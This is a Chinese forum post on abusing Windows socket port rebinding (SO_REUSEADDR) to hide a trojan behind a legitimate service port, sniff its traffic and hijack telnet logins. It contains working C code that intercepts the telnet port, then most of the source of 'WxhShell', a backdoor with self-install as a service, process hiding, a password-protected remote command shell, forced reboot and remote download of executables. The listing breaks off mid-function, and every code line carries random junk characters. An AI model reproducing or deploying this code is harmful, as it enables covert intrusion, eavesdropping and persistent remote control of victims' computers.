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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f'r/Q2{n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kv)LH{  
Gb~q:&IUr  
  saddr.sin_family = AF_INET; ZwG+rTW  
|a'Q^aT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }eB\k,7L  
i?|K+"=D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gR1X@j$_  
+n)(\k{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i 0L7`TB  
hW/*]7AM^  
  这意味着什么?意味着可以进行如下的攻击: 8l)l9;4 6  
b8QW^Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5%G++oLXf  
$\a;?>WA"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Bt.W_p  
=U@*adgw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U7:~@eYy  
")Bf^DV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }rGDM  
]`u{^f  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z<@$$Z=0UF  
i*2z7MY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f+/^1~^  
-3KB:K<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rhL<JTS  
2|Tt3/Rn  
  #include ,PIdPaV--  
  #include h8S%Q|-  
  #include b^A&K@[W#,  
  #include    o AQ92~b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0.+iVOz+Y  
  int main() /=Xen mmS  
  { +mxsjcq0  
  WORD wVersionRequested; 6W#+U<  
  DWORD ret; cYGZZC8|K  
  WSADATA wsaData; +>I4@1qC-|  
  BOOL val; rJNf&x%6  
  SOCKADDR_IN saddr; Y!Z@1V`  
  SOCKADDR_IN scaddr; |y=CmNG,  
  int err; TF3Tha]  
  SOCKET s; A.<X78!^  
  SOCKET sc; SSI&WZ2a  
  int caddsize; fM2[wh@  
  HANDLE mt; e348^S&rG  
  DWORD tid;   ZJw9 2Sb  
  wVersionRequested = MAKEWORD( 2, 2 ); iJsw:Nc  
  err = WSAStartup( wVersionRequested, &wsaData ); R>Zn$%j\  
  if ( err != 0 ) { ?xeq*<qfI  
  printf("error!WSAStartup failed!\n"); 2TAy'BB;)  
  return -1; _q8s 7H  
  } X>Xpx<RY!  
  saddr.sin_family = AF_INET; kfmIhHlYQ  
   <v{jJ7w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,lN!XP{M6w  
O|gb{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :I&iDS>u1  
  saddr.sin_port = htons(23); /CZOO)n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  sRoZvp 5  
  { t+h"YiT  
  printf("error!socket failed!\n"); VUx~Y'b  
  return -1; +)7NWR\  
  } Ex*g>~e  
  val = TRUE; =%RDT9T.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r&TxRsg{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !`aodz*PO  
  { VK|!aqA{b  
  printf("error!setsockopt failed!\n"); T;FzKfT|  
  return -1; (@&|  
  } wvq<5gy}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _Juhl^LM;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DO %YOv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1,pg:=N9  
+_`F@^R_   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cBm3|@7  
  { NZ.aI{  
  ret=GetLastError(); bF flA  
  printf("error!bind failed!\n"); X^@d@xU4v  
  return -1; DPe`C%Oc1  
  } .{8lG^0U<  
  listen(s,2); o/&:w z  
  while(1) |kVxrq  
  { x3WY26e  
  caddsize = sizeof(scaddr); TZHqn6  
  //接受连接请求 s5z@`M5'm  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gjs-j{*  
  if(sc!=INVALID_SOCKET) C6, Bqlio  
  { r+Z+x{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K:9.fTCs*  
  if(mt==NULL) U'#{v7u  
  { >|rL0  
  printf("Thread Creat Failed!\n"); 'kUrSM'*$N  
  break; $iF7hyZ  
  } =l_eliM/  
  } ?9PNCd3$d  
  CloseHandle(mt); I5D\Z  
  } Y#N'bvE|%  
  closesocket(s); }Rf } iG  
  WSACleanup(); jEI!t^#  
  return 0; wicg8[T=B  
  }   Rdv"Aj:  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9GQTe1[t4  
  { ^^?ECnpcU  
  SOCKET ss = (SOCKET)lpParam; ;N,7#l|wi  
  SOCKET sc; Dic(G[  
  unsigned char buf[4096]; )lW<: ?k  
  SOCKADDR_IN saddr; <4>6k7W  
  long num; y\%4Dir  
  DWORD val; i?|SC=  
  DWORD ret; h knobk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3Y r   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "iKK &%W  
  saddr.sin_family = AF_INET; DSIa3! 0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g1}RA@9  
  saddr.sin_port = htons(23); /evh.S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6: M   
  { ;aFQP:l/  
  printf("error!socket failed!\n"); RnTPU`  
  return -1; O=+C Kx@  
  } *]H ./a:1  
  val = 100; _R8-Hj E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r2hm`]\8M  
  { Su-+~` "  
  ret = GetLastError(); i\ PN  
  return -1; j5RM S V  
  } g|T' oK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b>waxQxjS  
  { #}vcffgZ  
  ret = GetLastError(); nGuF, 0j  
  return -1; WIhf*LF"  
  } ao,LP,_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W:tE ?Hu  
  { +6TKk~0e^  
  printf("error!socket connect failed!\n"); 5\a5^FK~  
  closesocket(sc); +^"|FtKhE  
  closesocket(ss); VWNmqeP  
  return -1; z24-h C  
  } LAvAjvRc  
  while(1) _x>u "w  
  { ciXAyT cG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 HAU8H'h  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3*'!,gK~[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HWHGxg['r  
  num = recv(ss,buf,4096,0); .jRXHrK;  
  if(num>0) 'Y-c*q  
  send(sc,buf,num,0); )qxL@w.  
  else if(num==0) M2m@N-+R   
  break; ",K6zALJ  
  num = recv(sc,buf,4096,0); WIb U^WJ0  
  if(num>0) `9F'mT#o/  
  send(ss,buf,num,0); 9EH%[wfv  
  else if(num==0) f"PApV9[  
  break;  k&rl%P  
  } }2{%V^D)r  
  closesocket(ss); , R]7{7$  
  closesocket(sc); UV:_5"-  
  return 0 ; ,0 ])]  
  } d:j$!@o  
O!|:ZMjF  
sNNt0q(  
========================================================== O c" 2|X  
;1o"Oij  
下边附上一个代码,,WXhSHELL $w65/  
:|d3BuY  
========================================================== b_6j77  
$A-b-`X  
#include "stdafx.h" rA_e3L@v#[  
=?/J.[)<*  
#include <stdio.h> \?}ZXKuJj  
#include <string.h> ABx0IdOcI  
#include <windows.h> !e%#Zb MIo  
#include <winsock2.h> kdv>QZ  
#include <winsvc.h> 2R)Y}*VX  
#include <urlmon.h> le1'r>E$  
vk$]$6l2  
#pragma comment (lib, "Ws2_32.lib") ANWa%%\T  
#pragma comment (lib, "urlmon.lib") 9BF #R<}h  
~xA' -N/  
#define MAX_USER   100 // 最大客户端连接数 )! OEa]  
#define BUF_SOCK   200 // sock buffer 0Uybh.dC  
#define KEY_BUFF   255 // 输入 buffer ty "k  
{=&pnu\  
#define REBOOT     0   // 重启 ^6obxwVG  
#define SHUTDOWN   1   // 关机 0t<TZa]V  
ni3^J5XW  
#define DEF_PORT   5000 // 监听端口 V-)q&cbW]q  
sbG3,'i)  
#define REG_LEN     16   // 注册表键长度 ~s !+9\Fi  
#define SVC_LEN     80   // NT服务名长度 Ldig/:  
*VD-c  
// 从dll定义API ./[t'dgC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z5Po,@W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C:H9C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B!9<c9/ P]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dhV =;'   
_I75[W!  
// wxhshell配置信息 _o<8R@1  
struct WSCFG { PInU-"gG  
  int ws_port;         // 监听端口 ;Qw>&24h[  
  char ws_passstr[REG_LEN]; // 口令 F_@PSA+  
  int ws_autoins;       // 安装标记, 1=yes 0=no p6>3 p  
  char ws_regname[REG_LEN]; // 注册表键名 qex.}[  
  char ws_svcname[REG_LEN]; // 服务名 " Z#&A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vw+U?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dd :Qotu  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,%D \  
int ws_downexe;       // 下载执行标记, 1=yes 0=no y%z$_V]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I=. 98v%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MQLa+I,S4  
3'IF? ](]U  
}; XN??^1{J}]  
gzi~ BJ  
// default Wxhshell configuration \-c70v63X  
struct WSCFG wscfg={DEF_PORT, Azu$F5G!n  
    "xuhuanlingzhe", :Oy9`vv  
    1, v vOG]2z  
    "Wxhshell", Ey 4GyAl  
    "Wxhshell", D4[t@*m>7  
            "WxhShell Service", 8 \%*4L'  
    "Wrsky Windows CmdShell Service", bluhiiATd  
    "Please Input Your Password: ", }Vk#w%EJ  
  1, f%d7?<rw  
  "http://www.wrsky.com/wxhshell.exe", 29}(l#S}m  
  "Wxhshell.exe" sJMT _yt;  
    }; ]iYjS  
td%EbxJK]`  
// 消息定义模块 V"k*PLt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U^:+J-z{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CH!Lf,G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YY'46  
char *msg_ws_ext="\n\rExit."; qMKXS,s  
char *msg_ws_end="\n\rQuit."; Bv@NE2  
char *msg_ws_boot="\n\rReboot..."; 1Hk`i%  
char *msg_ws_poff="\n\rShutdown..."; ^~( @QfY  
char *msg_ws_down="\n\rSave to "; O~trv,?)  
-NHc~=m  
char *msg_ws_err="\n\rErr!"; <`n T+c  
char *msg_ws_ok="\n\rOK!"; j l%27Ld  
a%V6RyT4qW  
char ExeFile[MAX_PATH]; y/Paq^Hd  
int nUser = 0; -n+ =[M  
HANDLE handles[MAX_USER]; eG=Hyc  
int OsIsNt; NRgNh5/  
Xw_AZ-|1D  
SERVICE_STATUS       serviceStatus; k0Rd:DxO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L;wzvz\+  
hZ[,.  
// 函数声明 M9M~[[   
int Install(void); R:fERj<s  
int Uninstall(void); MB%yC]w8  
int DownloadFile(char *sURL, SOCKET wsh); {p=`"H>  
int Boot(int flag); 'MVE5  
void HideProc(void); fH}#.vy  
int GetOsVer(void); \mbm$E+X  
int Wxhshell(SOCKET wsl); sWa`-gc  
void TalkWithClient(void *cs); R %aed>zo  
int CmdShell(SOCKET sock); M4~^tML>Ey  
int StartFromService(void); .SAOE'Foo  
int StartWxhshell(LPSTR lpCmdLine); :Z3Tyj}4  
W; P8=q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lpv Z[^G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o]u,<bM$  
tHgu#k0  
// 数据结构和表定义 $~W =)f9  
SERVICE_TABLE_ENTRY DispatchTable[] = WzDL(~m+Z  
{ =c8xg/  
{wscfg.ws_svcname, NTServiceMain}, U["'>&B  
{NULL, NULL} (kCzz-_\  
}; w&8N6gA14  
.hPk}B/KV  
// 自我安装 =ss(~[  
int Install(void) Bi:%}8STH  
{ 62)Qr  
  char svExeFile[MAX_PATH]; J2W#vFe\  
  HKEY key; Z8I  Y!d  
  strcpy(svExeFile,ExeFile); 4L)#ku$jW  
Qu"zzb"k  
// 如果是win9x系统,修改注册表设为自启动 vgKZr  
if(!OsIsNt) { Gl; xd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =r:(ga  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HQGn[7JW  
  RegCloseKey(key); Rr A9@95+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .z0NMmz0z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +&bJhX  
  RegCloseKey(key); m~c6b{F3Z-  
  return 0; VC~1QPC9  
    } }w&W\g+E$  
  } w=JO$7  
} icS% ])3LF  
else { ?V&# nA  
s3<gq x-&r  
// 如果是NT以上系统,安装为系统服务 W2yNwB+{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nM#/uuRl|  
if (schSCManager!=0) N(c`h  
{ @@uKOFA?  
  SC_HANDLE schService = CreateService -j& A;G  
  ( .=G ?Zd  
  schSCManager, w eX%S&#?  
  wscfg.ws_svcname, _?~EWT   
  wscfg.ws_svcdisp, F)K&a  
  SERVICE_ALL_ACCESS, ` ES-LLhVf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~xPU#m<  
  SERVICE_AUTO_START, HV21=W  
  SERVICE_ERROR_NORMAL, KJ (|skO  
  svExeFile, =2XAQiUR\  
  NULL, W2>VgMR [  
  NULL, ZQ1,6<^9i[  
  NULL, )?y${T   
  NULL, }jdMo83  
  NULL Y[sBVz'j5  
  ); +-2W{lX  
  if (schService!=0) '< =77yDg  
  { G'#Uzwo  
  CloseServiceHandle(schService); kLE("I:7  
  CloseServiceHandle(schSCManager); 9u?[{h.`B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }vK8P r%  
  strcat(svExeFile,wscfg.ws_svcname); >dK# tsp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nz2`YyR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W79Sz}):  
  RegCloseKey(key); FHbyL\Q  
  return 0; K]SsEsd  
    } OV2/?  
  } +,xluwv$9  
  CloseServiceHandle(schSCManager); I_k/lwBD  
} dp}s]`x+  
} zQ~N(Jj?h  
E%%iVFPX  
return 1; RoFoEp  
} nixIKOnjC  
QtHK`f>4#n  
// 自我卸载 l~ Hu#+O  
int Uninstall(void) i"`N5  
{ :lU#Dm]  
  HKEY key; 0}mVP  
w<LV5w+  
if(!OsIsNt) { h~pQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6c6w w"  
  RegDeleteValue(key,wscfg.ws_regname); LK|1[y^h  
  RegCloseKey(key); W:VX^8</  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yz7Fe  
  RegDeleteValue(key,wscfg.ws_regname); 7u`:e,'  
  RegCloseKey(key); Og-v][  
  return 0; W"!{f  
  } hsAk7KC  
} #g#[|c.  
} f4;V7DJ  
else { Z~AgZM R  
lJ Jn@A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @6kkt~>:  
if (schSCManager!=0) 6o.Dgt/f  
{ O03N$ Jq A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Nt,:`o |  
  if (schService!=0) IOddu2.(  
  { uCHM  
  if(DeleteService(schService)!=0) { a! 3eZ,  
  CloseServiceHandle(schService); LGh#  
  CloseServiceHandle(schSCManager); HDi_|{2^  
  return 0; SFjRSMi  
  } f"-3'kqo  
  CloseServiceHandle(schService); GJ\bZ"vDo  
  } /$d #9Uv  
  CloseServiceHandle(schSCManager); Y )68  
} )YVs=0j  
} $sFqMy  
R$x(3eyx  
return 1; (c S'Nm5  
} p`Ok(C_  
Gvl,M\c9-  
// 从指定url下载文件 Mw`S.M. B  
int DownloadFile(char *sURL, SOCKET wsh) ]tNB^  
{ G0u H6x?  
  HRESULT hr; *|OUd7P:hU  
char seps[]= "/"; m KJO?7tj  
char *token; QL\3|'a  
char *file; e7yn"kd  
char myURL[MAX_PATH]; XMF#l]P  
char myFILE[MAX_PATH]; CG ,H  
JLGC'mbJ  
strcpy(myURL,sURL); qzWnl[3  
  token=strtok(myURL,seps); p^C$(}Yh  
  while(token!=NULL) 7O~hA*Z  
  { .[ s6x5M  
    file=token;  z $iI  
  token=strtok(NULL,seps); \0;EHB  
  } &hE k m  
JSoInR1E  
GetCurrentDirectory(MAX_PATH,myFILE); ikb;,Js  
strcat(myFILE, "\\"); p#N2K{E  
strcat(myFILE, file); Bxf&gDwjgr  
  send(wsh,myFILE,strlen(myFILE),0); IN@ =UAc&  
send(wsh,"...",3,0); \;Sl5*kr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w&Z.rB?  
  if(hr==S_OK) K_Kz8qV.?  
return 0; ^YB3$:@$U  
else /&em%/  
return 1; O{Z bpa^  
LYuMR,7E  
} _6`H `zept  
+.a->SZ5"  
// 系统电源模块 :n OCs  
int Boot(int flag) ?s]?2>p  
{ ;y;UgwAM  
  HANDLE hToken; M1eM^m8U  
  TOKEN_PRIVILEGES tkp; :m0 pm@  
{ 3Qlx/6<  
  if(OsIsNt) { g6H`uO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G)gPL]C0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @Ll^ze&HI  
    tkp.PrivilegeCount = 1; VO<P9g$UD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -+Z&O?pSH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); loD:4e1  
if(flag==REBOOT) { S Q`KR'E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J@IF='{  
  return 0; ^ x_+ &  
} RWZjD#5%Z  
else { )gG_K$08?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) W"g@*B'|  
  return 0; 'kekJ.wJ;  
} 8*sP  
  } Sr-!-eC  
  else { T9AFL;1  
if(flag==REBOOT) { [a k[ZXC,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mpzm6I eu  
  return 0; `8D'r|=`Eh  
} +2m\Sv V  
else { Cdc=1,U(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w"!zLB&9[  
  return 0; :&m0eZZ%  
} ~g&Gi)je  
} A[Vhy;xz  
3 Ol`i$  
return 1; 9j1 tcT  
} t.] e8=dE  
$B@K  
// win9x进程隐藏模块 gX]'RBTb  
void HideProc(void) Lu~M=Fh  
{ SA.,Q~_T7  
G=>LW1E|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h|.*V$3  
  if ( hKernel != NULL ) =mh)b]].4\  
  { 6}q# c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $1myf Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^qPS&G  
    FreeLibrary(hKernel); Ok_)C+o  
  } rY(^6[!  
\E,Fe:/g  
return; yQ+C}8r5  
} lR3JyYY{X  
J,^eq@(  
// 获取操作系统版本 6n'XRfQp)&  
int GetOsVer(void) ?)XPY<  
{ ^BQ*l5K  
  OSVERSIONINFO winfo; @Ke3kLQ_\X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xkkW?[&  
  GetVersionEx(&winfo); z*&r@P -  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OEs!H]v  
  return 1; g}'(V>(  
  else O\zGN/!  
  return 0; }t.VH:02y  
} D(Yq<%Q  
3,{tGNl|  
// 客户端句柄模块 /yL:_6c-  
int Wxhshell(SOCKET wsl) -W XZOdUjs  
{ ] 73BJ  
  SOCKET wsh; VTxLBFK;  
  struct sockaddr_in client; hG.~[#[&6  
  DWORD myID; _z \PVTT  
Fd@:*ER  
  while(nUser<MAX_USER) vq*)2.  
{ }_o!f V  
  int nSize=sizeof(client); #[ hJm'G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Gv zw=~8  
  if(wsh==INVALID_SOCKET) return 1; '}T6e1#JV  
=H2.1 :'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EcW$'>^  
if(handles[nUser]==0) cakb.Q  
  closesocket(wsh); \%N | X  
else IMay`us]:8  
  nUser++; Qd$!?h  
  } l/w<R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e6WKZ~ v o  
6dq*ncNin  
  return 0; MPmsW &  
} b ZEyP W  
FGG 7;0(  
// 关闭 socket ce\ F~8y  
void CloseIt(SOCKET wsh) _o-D},f*e  
{ ~wsD g[  
closesocket(wsh); 53cW`F  
nUser--; 7I_lTu(  
ExitThread(0); QR;E>eEq  
} D#n^U `\if  
x0!5z1KQh  
// 客户端请求句柄 aj<=]=hr  
void TalkWithClient(void *cs) , 1{)B  
{ ;/8oP ;X2  
l[q%1-N  
  SOCKET wsh=(SOCKET)cs; =@d IM  
  char pwd[SVC_LEN];  `9  
  char cmd[KEY_BUFF]; PDnwaK   
char chr[1]; *M_Gu{xc  
int i,j; o(I[_oUy\  
FaNH+LPe  
  while (nUser < MAX_USER) { `%x6;Ha  
yjbqby7  
if(wscfg.ws_passstr) { %:eep G|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @,63%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ta38/v;S  
  //ZeroMemory(pwd,KEY_BUFF); nKJJ7 R L  
      i=0; /f9jLY +  
  while(i<SVC_LEN) { FSqS]6b3  
n(gw%w+\7  
  // 设置超时 0vs9# <&V  
  fd_set FdRead; q=5#t~?  
  struct timeval TimeOut; _tg&_P+kV  
  FD_ZERO(&FdRead); =yf LqU  
  FD_SET(wsh,&FdRead); b0 CtQe  
  TimeOut.tv_sec=8; uOqWMRsoi  
  TimeOut.tv_usec=0; 1CiK&fQ'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *FkG32k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); | 1Fy  
DdTTWp/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lbv9 kk[  
  pwd=chr[0]; Y) >GwFK$  
  if(chr[0]==0xd || chr[0]==0xa) { l("Dw8 H  
  pwd=0; )j40hrR  
  break; r`|/qP:T[  
  } vnXa4\Vdy  
  i++; PX3rHKK {  
    } K YFumR  
*sqq]uD  
  // 如果是非法用户,关闭 socket .Z}ySd:X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vv  _I o  
} 1FS Jqad  
\k1psqw^O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J(0.eD91v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h$p]#]uMb  
H[guJ)4#@  
while(1) { v ?)-KtX|  
)g:\N8AZK  
  ZeroMemory(cmd,KEY_BUFF); ;$G.?r  
9}FWO&LiB  
      // 自动支持客户端 telnet标准   kL,{H~iq;  
  j=0; kmM1)- v  
  while(j<KEY_BUFF) { cbl2D5s+i]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }!\ZJoa  
  cmd[j]=chr[0]; 8 YAUy\  
  if(chr[0]==0xa || chr[0]==0xd) { 0+0+%#?  
  cmd[j]=0; e g#.f`  
  break; u0^: XwZ!  
  } E0^~i:M k  
  j++; :luVsQ  
    } h5&l#>8&  
NamBJ\2E1[  
  // 下载文件 &inu mc  
  if(strstr(cmd,"http://")) { 8H3|i7.1h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @eN x:}  
  if(DownloadFile(cmd,wsh)) )eNR4nF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); maLKUSgo  
  else BF2,E<^A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dx =ms^oN5  
  } 7z"xjA  
  else { {T Z7>k  
V+X>t7.Q  
    switch(cmd[0]) { 2JZf@x+}  
  ;}{%|UAsx  
  // 帮助 oBr/CW  
  case '?': { vBUx )l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RF 4u\ \  
    break; (bi}?V*  
  } @^:R1c![s  
  // 安装 uh3%}2'P  
  case 'i': { G}Cze Lw  
    if(Install()) Cs7YD~,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6~sb8pK.=  
    else l;: L0(('  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'D8WNZ8Q  
    break; w1/p wzn  
    } U7.3`qd"  
  // 卸载 ~]DGf(   
  case 'r': { V<AT"vU[  
    if(Uninstall()) 3qPj+@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j0!Z 20  
    else m]BxGwT=m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A^2VH$j]+  
    break; "W;Gv I  
    } C)`k{(-{  
  // 显示 wxhshell 所在路径 n4+l, ~  
  case 'p': { 0.C y4sH'  
    char svExeFile[MAX_PATH]; _rXTHo7P  
    strcpy(svExeFile,"\n\r"); Tm5]M$)  
      strcat(svExeFile,ExeFile); v' 7,(.E  
        send(wsh,svExeFile,strlen(svExeFile),0);  k'X v*U  
    break; ziR}  
    } " 4#V$V  
  // 重启 XKB)++Q=  
  case 'b': { tT87TmNsA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |ul25/B B  
    if(Boot(REBOOT)) CN@bJo2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M ()&GlNs  
    else { cj@Ygc)n  
    closesocket(wsh); n5A0E2!  
    ExitThread(0); 0'`>20Y  
    } Iodk1Y;  
    break; QWv+J a  
    } i ~fkjn  
  // 关机 Z9mY*}:U~  
  case 'd': { 6wx;grt'Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *|ez|*-  
